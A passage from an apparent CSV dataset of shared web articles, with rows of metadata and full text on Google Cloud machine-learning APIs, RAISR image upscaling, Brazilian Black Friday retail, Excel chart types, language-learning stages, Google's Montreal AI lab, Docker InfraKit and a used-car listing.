model that has the potential to greatly improve the recruitment efforts of any company. We call this the Google Cloud Jobs API . It provides businesses with Google-strength capabilities to find, match and recommend relevant jobs to candidates. In order to provide the most relevant recommendations to job seekers, Cloud Jobs API uses machine learning to understand how job titles and skills relate to one another and what job content, location, and seniority are the closest match to a jobseeker's preferences. You can learn more about how it works here . The API is intended for job boards, career sites and applicant tracking systems. Early adopters of Cloud Jobs API are Jibe, Dice and CareerBuilder. ""Large enterprises have come to expect that integrating new solutions takes month or years, and these long implementation cycles are a major roadblock in delivering innovation. Jibe was able to seamlessly deploy the Google Jobs API as a turnkey machine learning solution for one of our customer's career sites in a matter of 3 weeks, and we expect that implementation time to shrink for future customers."" - Joe Essenfeld, Founder and CEO at Jibe Dice, a career website that serves opportunities for technology and engineering professionals, is a launch tester of the API to help job candidates browse over 80,000 tech job listings. Tech jobs tend to be complex and skill specific. For example, if a tech professional enters ""front-end engineer"" in a job search without using typical Boolean standards, search results will also return UI engineer, UI developer, web developer, and UX engineer. Complicated, right? By using the API, Dice will be able to better understand a candidate's background and preferences and match the tech pro to the right roles. CareerBuilder, using a prototype that they created with Cloud Jobs API in just 48 hours, found improved, more accurate results when compared to its existing search algorithm. In one test, CareerBuilder chose a top 100 term, ""part time,"" and compared results using the Google Cloud Jobs API versus their existing solution. Jobs API returned a richer set of results by applying an expanded set of synonyms including ""PT."" Another test showcased how Jobs API can refine search results. CareerBuilder has one of the largest repositories of healthcare industry jobs. CareerBuilder tested the terms ""CNA psych"" (Certified Nurses Assistant) against a dataset and reduced the results returned - delivering only CNA roles in a psychiatric setting - to notably increase accuracy for the job seeker. Based on these results, CareerBuilder is making plans to leverage the API for its customers in the near future. Cloud Jobs API is now available in a limited alpha. To learn more, visit the Cloud Jobs API page. Welcoming GPUs for Google Cloud Platform Machine learning greatly benefits from fast and reliable hardware, and as hardware advances so do the capabilities of machine learning. This is exactly why Google continues to harness hardware innovations that can help to accelerate machine learning applications. Beginning in 2017, Google Cloud will offer more hardware choices for businesses that want to use Google Cloud Platform (GCP) for their most complex workloads, including machine learning. For Google Compute Engine and Google Cloud Machine Learning , businesses will be able to use GPUs (Graphics Processing Units) that are highly-specialized processors capable of handling the complexities of machine learning applications. Making GPUs available in Google Cloud means that you can focus on solving challenging computational problems while accessing GPU machines from anywhere and only paying for what you need. In other words, you'll be able to strap your ML-powered applications to a rocket engine, resulting in faster and more affordable machine learning models. To learn more, visit our GPU page . Making Cloud Vision API affordable for everyone Google has been leveraging the latest hardware and tuned algorithms to significantly improve the performance of our Cloud Machine Learning services. Cloud Vision API now takes advantage of Google's custom TPUs , our custom ASIC built for machine learning, to improve performance and efficiency. These improvements have enabled us to reduce prices for Cloud Vision API by ~80% . By offering the API at a more affordable price-point, more organizations than ever will be able to take advantage of Cloud Vision API to power new capabilities. Along with the price reductions, we have made significant improvements to our image recognition capabilities over the last six months. For example: the logo detection feature can identify millions of logos and label detection can identify an expanded number of entities, such as landmarks and objects in images. Since we first introduced Cloud Vision API , we've been very happy with the positive feedback and creativity customers have in using it to power their experiences. Since the beta release, businesses have analyzed well over a billion images. Image analysis, the core capability of Vision API, is fundamentally changing how businesses operate and interact with their end-users. We have thousands of customers using the product to do amazing things. For example, the e-discovery firm Platinum IDS uses Cloud Vision API to power content relevancy for millions of paper and digital files and deliver its new e-Discovery app, and Disney has leveraged Vision API as the basis of innovative marketing campaigns . Now offering Cloud Translation API Premium Most recently, Google announced the launch of our Google Neural Machine Translation system (GNMT) that uses state-of-the-art training techniques and runs on TPUs to achieve some of the largest improvements for machine translation in the past decade. Now, Google Cloud is offering these capabilities to all partners, developers and businesses with a Premium edition of Cloud Translation API (formerly Google Translate API). This new edition provides: Highest-quality model that reduces translation errors by more than 55%-85% on several major language pairs Support for up to eight languages (English to Chinese, French, German, Japanese, Korean, Portuguese, Spanish, Turkish) and 16 language pairs. We'll support more languages in the near future. The Premium edition is tailored for users who need precise, long-form translation services. Examples include livestream translations, high volume of emails and detailed articles and documents. The Standard edition continues to offer translation in over 100 languages and price-performance that's ideal for short, real-time conversational text. To make Cloud Translation API more affordable, we also decreased the price of the standard edition for higher usage volumes. Please visit our pricing page for more information. Graduating Cloud Natural Language API to general availability Cloud Natural Language API, our text analysis machine learning service, is now generally available for all businesses. Based on valuable feedback shared by beta testers such as Evernote , a productivity service used by over 200 million people to store billions of notes and attachments, we're releasing new features: Expanded entity recognition to increase the accuracy at which the API identifies the names of things, such as people, companies, or locations in the text. Granular sentiment analysis with expanded language support to provide sentiment analysis at the sentence level and not just within a document or record. Improved syntax analysis with additional morphologies such as number, gender, person and tense, to improve coreference resolution required of advanced NLP tasks. Click here to learn more about the technical details and to see the Cloud Natural Language API in action . Our team is hard at work to enable new machine learning scenarios in the upcoming months. This year alone, we introduced brand new APIs and a fully-managed platform that are now available for all businesses to use. And as users explore our existing machine learning ecosystem, Google continues to invest in research and models that will bring new scenarios to life. We're committed to quickly delivering new machine learning solutions for businesses in 2017 and beyond. Stay tuned for what's next.",en
1479473295,CONTENT SHARED,-3348652277274905234,3609194402293569455,1536665872551383781,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://googlediscovery.com/2016/11/17/google-usa-aprendizado-de-maquina-para-melhorar-imagens-de-baixa-qualidade/,Google usa aprendizado de máquina para melhorar imagens de baixa qualidade | Google Discovery,"A equipe do Google Research revelou que o Google vem trabalhando no ""RAISR"" ("" Rapid and Accurate Image Super-Resolution "") capaz de utilizar o aprendizado de máquina para produzir versões de alta qualidade de imagens de baixa resolução. De acordo com o Google, a tecnologia inovadora vem sendo desenvolvida com foco em melhorar as imagens de baixa qualidade da internet para elas sejam melhor visualizadas nos mais recentes monitores de computadores ou telas de dispositivos móveis. ""Introduzimos uma técnica que incorpora aprendizado de máquina a fim de produzir versões de alta qualidade de imagens de baixa resolução"", publicou Peyman Milanfar, Research Scientist. ""RAISR produz resultados que são comparáveis ou melhores do que os métodos de super-resolução atualmente disponíveis, e faz isso aproximadamente 10 a 100 vezes mais rápida, permitindo que seja executado nos dispositivos móveis em tempo real"". O buscador explicou que o RAISR aprende com cada pixel da imagem original e seleciona o filtro mais adequado para recriar os detalhes em alta resolução. Além disso, a técnica evita os serrilhamentos que possam existir em imagem de baixa resolução. Você pode visualizar abaixo alguns exemplos do RAISR em funcionamento: é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1479477044,CONTENT SHARED,-2167839778474325326,-1352064057049251194,3998992742546994501,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://www.mundodomarketing.com.br/reportagens/digital/36946/black-friday-salva-o-ano-do-e-commerce.html,Black Friday salva o ano do e-commerce,"A edição 2016 da Black Friday deve ajudar o e-commerce a fechar o ano positivo, com crescimento próximo aos 8%. Apesar da forte desaceleração em comparação a 2015, quando o incremento foi de 15%, a projeção é muito melhor do que o previsto para o varejo físico, que deverá amargar queda de 5%, segundo o Instituto Brasileiro de Geografia e Estatística (IBGE). Apostando no consumo reprimido por conta do cenário econômico nacional, os varejistas esperam atrair os consumidores que estão aguardando o evento para conseguir comprar o produto desejado. Apesar da projeção de crescimento de vendas para a data, o consumidor enfrenta uma série de intempéries que reduziram o poder de compra, como aumento do desemprego, difícil acesso ao crédito e aumento do endividamento. Esses fatores que afastaram alguns brasileiros do comércio podem ser os mesmos que os levarão de volta para uma compra mais criteriosa em um período em que os preços deverão estar mais baixos. A expectativa do setor é de que as vendas sejam efetivamente positivas e que este seja o início da retomada do franco crescimento. ""A Black Friday ajudará a recuperar parte das vendas perdidas, afinal, a projeção é de cerca de R$ 2 bilhões para um único dia e o mercado de e-commerce deve faturar R$ 44,6 bilhões no ano. Alguns segmentos estão crescendo mais do que as outras em relação a 2015, por conta das mudanças no comportamento do consumidor em função da crise"", comenta Pedro Guasti, CEO do e-Bit, em entrevista ao Mundo do Marketing. Intenção de compra Por conta da promessa de preços mais baixos e conveniência, o brasileiro vem registrando maior presença no comércio online. O primeiro semestre do ano contabilizou 30% a mais de consumidores ativos no varejo online, comparado ao ano passado, segundo o relatório WebShoppers. Mais de oito em cada 10 consumidores (84%) entrevistados pelo e-Bit disseram que pretendiam comprar na Black Friday deste ano. Este índice é três pontos percentuais superior ao levantamento realizado em 2015 e equipara à intenção de compra de 2014. As categorias de maior valor agregado são as que permeiam o desejo dos consumidores: eletrodomésticos, eletro portáteis, eletrônicos, itens de informática e smartphones. A intenção de gasto depende da categoria, mas, em média, ainda é maior do que o ano passado. ""Sob a ótica do consumidor, a pesquisa mostra o potencial de crescimento da Black Friday em 30%, comparado ao ano passado. Neste ano, a data deverá movimentar R$ 2,1 bilhões"", pontua Guasti. Para alcançar a expectativa, é preciso que o varejista faça a parte dele, oferecendo formas de pagamento e promoções com descontos vantajosos. ""Se a indústria e o varejo conseguirem entregar da mesma maneira que no passado, teremos uma Black Friday positiva. Afinal, não adianta apenas o consumidor querer comprar e não encontrar a oferta, pois não haverá venda"", reforça o CEO do E-Bit. Consumidor mais criterioso A diminuição do poder de compra ensinou o brasileiro a ser mais sensato e menos imprudente, estabelecendo novos comportamento de consumo. O impulso deu lugar à compra programada e a aquisição tende a ser mais inteligente, com a escolha de itens mais em conta, substituições, busca por promoção, aumento no interesse em combos, modelo oferecido por muitos sites na tentativa de oferecer mais benefícios ao consumidor. Nesta linha, há três anos a Netshoes estabeleceu um mês inteiro de ofertas chamado de Black November. No ano passado, na primeira semana de ação a empresa registrou aumento de 34% nas visitas ao e-commerce, com destaque ainda maior nos acessos via mobile, que teve crescimento de 176%, comparado ao ano anterior. ""Apesar de estarmos em um ano difícil, percebemos que da mesma maneira que a empresa se preparou para oferecer as melhores ofertas, o consumidor também se organizou para comprar nesta data"", comenta Alexandre Yamada, Head de CRM e BI da Netshoes, em entrevista ao Mundo do Marketing. A aproximação com o fim do ano, período de aumento de consumo por conta das festas, ajuda a impulsionar as vendas e faz com que o shopper planeje suas aquisições. No ano passado, mais da metade dos consumidores que compraram na Netshoes na Black November e que responderam à pesquisa da rede afirmaram que anteciparam as compras de Natal, o que deu para a companhia uma projeção positiva para esta edição. Para este ano, a Netshoes garantiu um estoque com mais de dois milhões de produtos e ampliou sua força de trabalho, com a contratação de 600 temporários para a Central de Relacionamento (100) e Centros de Distribuição (500), para garantir melhor atendimento aos clientes. Desafios do e-commerce Com uma perspectiva de aumento de tráfego e vendas, o varejo online tem que se preparar com muita antecedência para garantir ofertas reais e experiência positiva aos consumidores. A data exige união e esforço de três setores: tecnologia, Marketing e comercial. ""Mais do que oferecer um bom atendimento para mitigar qualquer possível problema e ter agilidade no Centro de Distribuição para que o produto chegue ao consumidor na data prevista, é preciso garantir a disponibilidade do site. A loja não pode cair e para isso, fazemos constantemente diversas melhorias em TI. Ao final de uma Black November começamos a planejar a próxima edição"", reforça Yamada. Apesar de não oferecer as mesmas experiências que o varejo físico, o online vem valorizando outros ativos para conquistar o consumidor, como comodidade e presença em qualquer lugar. A impossibilidade da experimentação, por exemplo, foi minimizada pela Netshoes com a oferta da primeira troca grátis. Outra aposta dos e-commerces são as ferramentas que permitem a análise do tamanho correto do consumidor de acordo com suas medidas, algumas utilizam realidade aumentada, permitindo que o usuário simule a experimentação. Conveniência aliada à preço são os trunfos do setor para atrair e fidelizar os consumidores. Manter um canal online preparado para atender as demandas dos consumidores é fundamental, a inexistência deste serviço pode colocar em xeque a credibilidade da marca. ""Enquanto a Black Friday estiver acontecendo, é muito importante que esteja disponível uma equipe concentrada no atendimento, para atender as demandas dos consumidores, sanar qualquer dúvida e orientar. Isso é o que chamamos de micro comprometimento. As vezes o consumidor escreve algo na página oficial da marca e não há interação, ou seja, ele perde esse contato e isso é muito ruim"", explica Rafael Galdino, Sócio Diretor da Neuari, em entrevista ao Mundo do Marketing Volume de venda e rentabilidade Oferecer uma melhor experiência ao consumidor é o foco de todos os varejistas, mas, naturalmente, a busca maior é por resultados. Em tempos de economia instável e consumo desaquecido, é preciso ter um programa bem definido para que não haja desperdícios com ações sem retorno. O mesmo vale para os períodos promocionais. ""Estamos trabalhando para ter uma Black Friday cada vez mais sustentável. Nosso planejamento visa não só aumentar o volume de vendas, mas ter a melhor margem possível, o que também rentabilidade"", pontua Paulo Silva, CEO Walmart.com, em entrevista ao Mundo do Marketing. Para chegar no patamar esperado, a Walmart.com focou em sortimento mais inteligente de produtos, estabeleceu parceria com os vendedores que atuam no marketplace, trabalhou a logística de maneira mais eficaz para garantir a venda. ""Nem todo produto tem o mesmo prazo e temos muito claro qual é a expectativa do consumidor em relação a suas compras e a entrega. Coordenamos toda a área de logística e suply chain para fazer parte do processo da venda sustentável. Isso vem trazendo resultados muito expressivos na rentabilidade da companhia"", acrescenta Silva. Entender as reais intenções do consumidor dará ao varejo uma consciência do sortimento adequado a ser oferecido, evitando desperdícios. ""O consumidor está mais seletivo. Uma pesquisa interna mostrou que muitas vezes ele está disposto a pagar mais caro se tiver certeza de que aquele é o melhor produto para atender às necessidades e que tenha a durabilidade esperada. Como o poder aquisitivo está mais restrito, as pessoas estão mais cuidadosas neste processo"", comenta o CEO Walmart.com. Atraindo o público Para conquistar esses consumidores mais exigentes, as empresas devem pensar em estratégias de comunicação mais assertivas que os envolva nos mais diversos ambientes. Falar sobre o tema com antecedência ajuda a ampliar a audiência e cria desejo no shopper, um dos caminhos é apostar no Marketing de relacionamento. ""É muito importante iniciar uma conversa com a audiência, promover a interação e segmentar o público para entregar o que ele realmente quer. Estimular o cadastro de e-mails para receber as ofertas também é uma boa estratégia"", afirma Diego Carmona, Diretor Executivo e CVO do Lead Lovers, em entrevista ao Mundo do Marketing. Começar a impactar o consumidor com anúncios sobre as ofertas com antecedência é importante, mas deve-se ter atenção para que não seja muito cedo e isso levar ao esquecimento. ""A duas semanas para a data tende a ser um bom período para impactar o consumidor com as ações. Muito antes ele pode não dar muita importância e muito tarde as ação pode perder a efetividade"", pondera Carmona. Muitas marcas já começaram a colocar suas campanhas no ar para atrair o shopper. Na tentativa de ampliar o período promocional e garantir bons lucros, algumas estabeleceram o mês inteiro de promoções. Fato é que a oportunidade está lançada para os dois lados, marcas e consumidores, e, em tempos de crise e consumo consciente todos dois podem sair lucrando, basta se organizar para isso.",pt
1479672688,CONTENT SHARED,7850245260835292221,3217014177234377440,5703681386596522651,"Mozilla/5.0 (X11; CrOS x86_64 8743.85.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.101 Safari/537.36",SP,BR,HTML,http://www.atireiopaunografico.com.br/2016/11/graficos-inuteis-ou-bregas-do-excel.html,[Report] Gráficos inúteis ou bregas do Excel (parte 1),"Todo mundo usa o Excel, mas não é por isso que quaisquer dos seus gráficos estão liberados para uso. Dos mais populares (barras, pizza, linhas, áreas e dispersão), a metade considero adequada, a outra é inútil, ou até mesmo brega. Veja a classificação por tipo de gráfico: Gráfico de Barras (equivalente ao de coluna): As três primeiras opções, ""Colunas Agrupadas"", ""Empilhadas"" e ""100% Empilhadas"" são muito úteis e você pode ver como usá-las no nosso post de gráficos com a tabela dinâmica . Eu não recomendo as opções na forma 3D porque, além de distorcer a informação, eu diria que hoje é uma coisa brega. Você por acaso vê o Google ou o Facebook usando em seus relatórios atuais? Os gráficos 3D fizeram sucesso na década de 90 do século passado. E não pense em usar a última opção 3D, parece uma cidade em Lego. Gráfico de Linhas: Para uso diário escolha o simples ""Linha"", com ou sem marcadores. Não use o ""Linha Empilhada"", esse nem deveria existir no Excel porque ele empilha as linhas umas sobre as outras. Isso só confunde as pessoas e prejudica a análise. O ""Linha 100% Empilhada"" só serve para fazer indicadores de %Y categóricos binomiais (tipo comprou, não comprou). Mas isso é um uso particular. Os dois de linhas empilhadas devem ser substituídos pelo de área, veja mais adiante. Ah, de jeito nenhum use o de linha 3D, faça-me o favor! Gráfico de Área: São ótimos gráficos para mostrar perfil de uma variável categórica Y versus outra variável X que pode ser numérica, categórica ou mesmo o calendário. Veja esse exemplo em que vemos o perfil de estado civil por idade de mães de crianças nascidas em 2014 em SP: Mas cuidado, a primeira opção, ou simplesmente ""Área"", não deve ser usada nunca. Ela esconde as categorias umas atrás das outras, e isso não tem literalmente nada a ver. Use o ""Área Empilhada"" e o ""Área 100% Empilhada"" para substituir o de ""Linha Empilhada"" sem medo. E você já sabe, não arranhe sua reputação com as opções em 3D. No próximo post vou comentar sobre os gráficos de Pizza e os de Dispersão do Excel. Quais seriam os perigos que os cercam? Até Roberto",pt
1479672741,CONTENT SHARED,-3687965339291665275,3217014177234377440,5703681386596522651,"Mozilla/5.0 (X11; CrOS x86_64 8743.85.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.101 Safari/537.36",SP,BR,HTML,http://www.atireiopaunografico.com.br/2016/11/graficos-inuteis-ou-bregas-do-excel_19.html,[Report] Gráficos inúteis ou bregas do Excel (parte 2),"Pra continuar a lista de perigos do Excel, vou usar um simples gráfico de linhas que saiu hoje na Folha e que ilustra a notícia: ""Patrimônio de mulher de Cabral cresceu durante sua gestão"": Dei meu ""curti"" para o gráfico (não para o feito da família Cabral, óbvio!) porque trouxe a informação precisa e de maneira eficiente pra mim. Mas, e se nosso redator quizesse tentar algo mais ""criativo"" com o menu de gráficos do Excel, será que se daria bem? Vejamos alguns ""mirabolismos"" que ele poderia criar. Gráfico de Pizza: Tome cuidado ao usar os gráficos de Pizza pra não fazer coisas do outro mundo. Veja os dado do Cabral em Rosca: Gráfico de Dispersão: São usados para ver relações entre variáveis numéricas ou para posicionar tens, não use para dados ao longo do tempo senão... É Pau no Gráfico! Gráfico de Radar: Tome muito cuidado ao usar esse gráfico. Eu diria pra você fazer só use se seu chefe pedir... Veja o que pode acontecer: Então vamos combinar, cuidado ao usar o Excel pra fazer seus gráficos. Como já dizia um ditado, acho que chinês,""O certo é o simples e o simples é o certo"". Mais uma dica, veja outro exemplo de ""criatividade excessiva"" no nosso post: ""Um caso para gráficos com dois eixos"" . Até Roberto",pt
1479732992,CONTENT SHARED,-1878569380455769122,-8241940599580729220,2576908488778636204,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",MG,BR,HTML,http://blog.thelinguist.com/three-language-acquisition-stages,The Three Language Acquisition Stages,"} } function childtheme_override_postfooter() { ?> They say ""you are what you eat"". In the global information age, maybe it should be ""you are what you can say"". Language, in its varied manifestations, is mankind's defining achievement, and it also defines us. Language can be social, political, technical, practical, entertaining, sensual, philosophical, and much more. At the banquet of life, each language is another course. The better you can use languages, your own and others, the more you can enjoy the feast. At least that has been my experience. I have achieved varying degrees of fluency in 16 languages, and look forward to learning more. To me, there are three language acquisition stages, which I outline here. Billions of dollars are wasted on ineffective language and literacy instruction programs, which ignore these natural stages. The first stage 60-90 hours My Goal: To become familiar with a strange language My Measurable: Learn to recognize 1000 words Main Task: Listen repeatedly to short, simple content My Target Languages (possible future): Arabic, Hindi, Turkish, Farsi When I begin, I need to ""connect"" with the new language and overcome my resistance to its strange sounds and structure. I don't need to speak. I don't need to understand any grammar. I don't need to get anything ""right"". I am not interested in mastering a few phrases or simple greetings. I want to get into the language, to get a feel for it. Here is how Fred Genesee of McGill University describes the beginning stages of language learning. ""When learning occurs, neurochemical communication between neurons is facilitated, in other words a neural network is gradually established. Exposure to unfamiliar speech sounds is initially registered by the brain as undifferentiated neural activity. As exposure continues, the listener (and the brain) learns to differentiate among different sounds and even among short sequences of sounds that correspond to words or parts of words ..."" I start by repeatedly listening to short morsels of content. These are 30 seconds long at first, eventually growing to one minute or longer. I listen to the same mouthful (earful?) 20 times or more, to help forge the new ""neural networks"" in my brain. Ideally these short episodes are part of a longer ""story"", which makes the whole context meaningful. After focusing intensely on a new episode, I review all the old ones, so that I am able to digest longer and longer cumulative doses of the language. The Internet and my iPhone make this content accessible and portable like never before in history. Nowadays, I read the text of whatever I am listening to on my computer. This allows me to access an online dictionary and create my own database of words and phrases for review in a variety of ways. This acquisition of words and phrases, encountered in my listening and reading, is my key measurable goal as I grow in a language. New words in a language at first seem strange and confusingly similar to each other. However, by staying with simple content, where common words appear often in different contexts, these words eventually start to stick. I usually associate the new words and phrases with episodes where I have heard them. The more associations I can attach to a word or phrase, the easier it is to remember. I don't speak much at first. I have so few words anyway. I practice repeating words and phrases out loud to myself, in a haphazard manner. I don't worry about pronunciation. That will be easier to work on once my brain gets better at distinguishing the sounds. I might speak a little, just for fun, to try out what I have learned. I can easily find a native speaker tutor or language exchange partner via the Internet. I don't got to classrooms, since I don't want to be confused by other non-native speakers. The second stage 180-360 hours My Goal: To understand ordinary conversations and most everyday language My Measurable: Less than 10% unknown words in most conversations Main tasks: Listen to natural conversations; Work on vocabulary; Step up speaking and writing activity Now that I no longer find the language strange, I want to deal with the language as it is usually spoken or written by native speakers. This is sometimes referred to as ""authentic"" language. Conversation is the easiest ""authentic"" content to understand, because the most commonly used words of a language account for 90-95% of conversations. The same most commonly used words usually account for 70-75 % of more formal written material. Unfortunately, interesting and authentic conversational content with transcripts are difficult to find. As a result, I usually end up learning mostly from podcasts on subjects of interest where transcripts are available. These are more difficult than conversations, but by importing them into LingQ I am able to use these as learning material and increase my vocabulary and familiarity with the language. I have been pleasantly surprised by the wealth of material available on the Internet in the languages that I have been studying. Through these podcasts I have learned a great deal about the history, politics and even cuisine of countries that I knew little about prior to studying their language. Each item of study is now longer, three to five minutes or even 10 minutes or longer. I listen to each item less frequently and cover more material, in order to learn more words. I use dead time, doing chores, driving or jogging to listen, over and over. The more words I already know, the easier it is to learn new words. Vocabulary is like money, ""the more you have the more you get"" or ""the rich get richer"". I like to stick to interesting and familiar subjects in my listening and reading, so I quickly drop anything that is uninteresting, or where I do not like the voices. At first it seems that native speakers talk very quickly, but my brain gets used to the natural flow, with enough repetition. I am not frustrated when I do not understand ""authentic content"". I feel exhilarated when I do. Again, Professor Genesee's observations are helpful. Students' vocabulary acquisition can be enhanced when it is embedded in real-world complex contexts that are familiar to them. I sometimes talk to native speakers on the Internet. Speaking helps me to identify weaknesses, missing words, concepts that I can't express, and words that I have trouble pronouncing. I can then work on these things on my own. With limited contact with native speakers, I also write, especially on blogs and forums. Writing is great for learning. I have time to compose my thoughts, and retain a record of my mistakes and problems. At this stage, my main emphasis is still to listen, read, and increase my vocabulary . The third stage 180 hours to forever My Goal: To continue to enjoy the language, to learn more words, and to use the language better My Measurable: Less than 10% unknown words in contexts that are of interest to me Main tasks: Follow my interests This is the most rewarding stage. I can travel to the country where the language is spoken, or meet with native speakers. I know I will enjoy the experience, even though I make mistakes. I can maintain the language, even if I go for long periods without using it. This is the best stage to study grammar. I have books and audio books on grammar, intended for native speakers of the language. I am now familiar enough with the language, through exposure, that I can use style and usage manuals intended for native speakers. Nevertheless, my personal interest takes me more to history and literature. I find reading books and listening to audiobooks, on subjects of interest, is the most enjoyable and most effective way to continue improving, or to refresh in a language that I have not used for a while. I am not required to take any language proficiency tests. If I were, this is the stage when I would prepare in earnest for them. The keys to success on these tests are, the ability to read quickly and comprehend the spoken language, and a wide vocabulary of words and phrases, all of which I have already acquired, enjoyably and painlessly. Only at this level would I take these test, since I know that I would score well. This is also the stage to work on special skills like making presentations, writing academic papers, or producing business reports. It is easy to find relevant material in the target language on the Web and elsewhere. The goal is to imitate the wording and turns of phrase, as well as the ways of organizing information, that are most appreciated in a particular language and culture. It is easy enough to find a native speaker professional tutor or coach, again via the Web, to work on these skills. Conclusion Having done it a few times, I know that I can learn a new language, or improve in a language I already speak well, including my own. You too can move through the three language acquisition stages and gain fluency in your target language. The key is motivation and enjoyment, not a school or a diploma. I know, as well, that the pursuit of perfection in any language is futile, so I am happy to make mistakes and do not really ask to be corrected. I just like to feast on languages, drinking, eating, tasting, chewing and digesting them. I never get full, although I may get a little intoxicated from time to time.",en
1479747054,CONTENT SHARED,-253149055249888078,-8845298781299428018,8779324009761544674,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",TX,US,HTML,https://www.wired.com/2016/11/google-opens-montreal-ai-lab-snag-scarce-global-talent/,Google Is in a Fierce Global Race for Scarce AI Talent,"Google is building a new artificial intelligence lab in Montreal dedicated to deep learning, a technology that's rapidly reinventing not only Google but the rest of the internet's biggest players. Hugo Larochelle will run the new lab after joining Google from the Twitter, where he was part of the company's central AI team. It's a homecoming for Larochelle, who earned a PhD in machine learning from the University of Montreal and remains a professor at the Université de Sherbrooke. Yoshua Bengio, one of the founding fathers of the movement, calls him ""one of the rising stars of deep learning."" At the moment, Larochelle is the new lab's sole hire, but the idea is that he will build a sizable team inside Google's existing engineering office in Montreal. The team will operate as an extension of Google Brain, the central operation that works to spread AI across the entire company. The move is part of a larger effort by the company to strengthen its ties to the deep learning community in Montreal, one of the key talent centers for this technology , a technology that percolated in academia for decades but has recently swept into the biggest internet companies. Today, Google also revealed that it is donating about $3.33 million ($4.5 million CAD) to the Montreal Institute for Learning Algorithms, or MILA, an academic lab that spans the University of Montreal and nearby McGill University, and this isn't the first time the company has funneled money into the program. Over the past ten years, Google had donated about $13 million CAD to academic research in the country and about half was earmarked for AI research. Because deep learning technology has only recently pushed into the commercial world, talent in the field is still quite scarce, and the big players are angling for any advantage they can find in the hunt for top researchers and new ideas. Last year, Facebook opened an AI lab in Paris, another deep learning hotbed , after building its first lab around New York Univeristy professor Yann LeCun in Manhattan. In Canada, Google already has strong ties to the University of Toronto after acqui-hiring Geoff Hinton, another founding father of the deep learning movement, in 2013. Apple, meanwhile, just hired Carnegie Mellon University researcher Russ Salakhutdinov. Amazon is building a new machine learning group around Alex Smola, another notable CMU researcher. And just last week, Google snapped up Stanford professor Fei-Fei Li, who started the ImageNet contest, a competition that helped catalyze the rise of deep neutral networks. Oren Etzioni, CEO of the not-for-profit Allen Institute for Artificial Intelligence, says that these companies should be careful not to strip academia of the experts needed to teach the next generation of machine learning researchers. But the battle for talent won't likely abate anytime soon. The biggest companies are vacuuming up not just the top academics but also deep learning startups . (In recent years, Twitter bought three such startups, as did Apple.) News of Google's new lab comes just a week after Bengio invited more deep learning researchers to join him in north of border. ""In the depressing aftermath of the US elections, I would like to point out that interesting things are happening in the great Canadian North, with a very different kind of government,"" he said. If US researchers take him up on the offer, that could make it even harder for the small players to hire AI talent. But the big players have it covered.",en
1479749557,CONTENT SHARED,-8145607370067359341,3609194402293569455,-634907171804906849,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://blog.docker.com/2016/11/docker-online-meetup-recap-infrakit/,Docker Online Meetup #46: Introduction to InfraKit - Docker Blog,"In case you missed it, Solomon Hykes (Docker Founder and CTO) open sourced InfraKit during his keynote address at LinuxCon Europe in Berlin last month. InfraKit is a declarative management toolkit for orchestrating infrastructure built by two Docker core team engineers, David Chung and Bill Farner . Read this blog post to learn more about InfraKit origins, internals and plugins including groups, instances and flavors. During this online meetup, David and Bill explained what InfraKit is, what problems it solves, some use cases, how you can contribute and what's coming next. There are many ways you can participate in the development of the project and influence the roadmap: Star the project on GitHub to follow issues and development Help define and implement new and interesting plugins Instance plugins to support different infrastructure providers Flavor plugins to support a variety of systems like etcd or mysql clusters Group controller plugins like metrics-driven auto scaling and more Help define interfaces and implement new infrastructure resource types for things like load balancers, networks and storage volume provisioners Check out the InfraKit repository README for more info, a quick tutorial and to start experimenting - from plain files to Terraform integration to building a Zookeeper ensemble. Have a look, explore and send us a PR or open an issue with your ideas!",en
1479755385,CONTENT REMOVED,319340024738595907,4670267857749552625,8003062051417116987,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://www.webmotors.com.br/comprar/mitsubishi/asx/2-0-4x4-awd-16v-gasolina-4p-automatico/4-portas/2013-2014/17115683,MITSUBISHI ASX 2.0 4X4 AWD 16V GASOLINA 4P AUTOMÁTICO - WebMotors - 17115683,"Opcionais Airbag, Alarme, Ar condicionado, Ar quente, Banco com regulagem de altura, Bancos dianteiros com aquecimento, Bancos em couro, CD e MP3 Player, CD Player, Computador de bordo, Controle automático de velocidade, Controle de tração, Desembaçador traseiro, Direção hidráulica, Encosto de cabeça traseiro, Freio ABS, Limpador traseiro, Rádio, Retrovisores elétricos, Rodas de liga leve, Sensor de estacionamento, Tração 4x4, Travas elétricas, Vidros elétricos, Volante com regulagem de altura Observações do vendedor IPVA pago, Licenciado, Não aceita troca, Todas as revisões feitas pela concessionária Carro super novo,sou o segundo dono,excelente procedência!!",pt
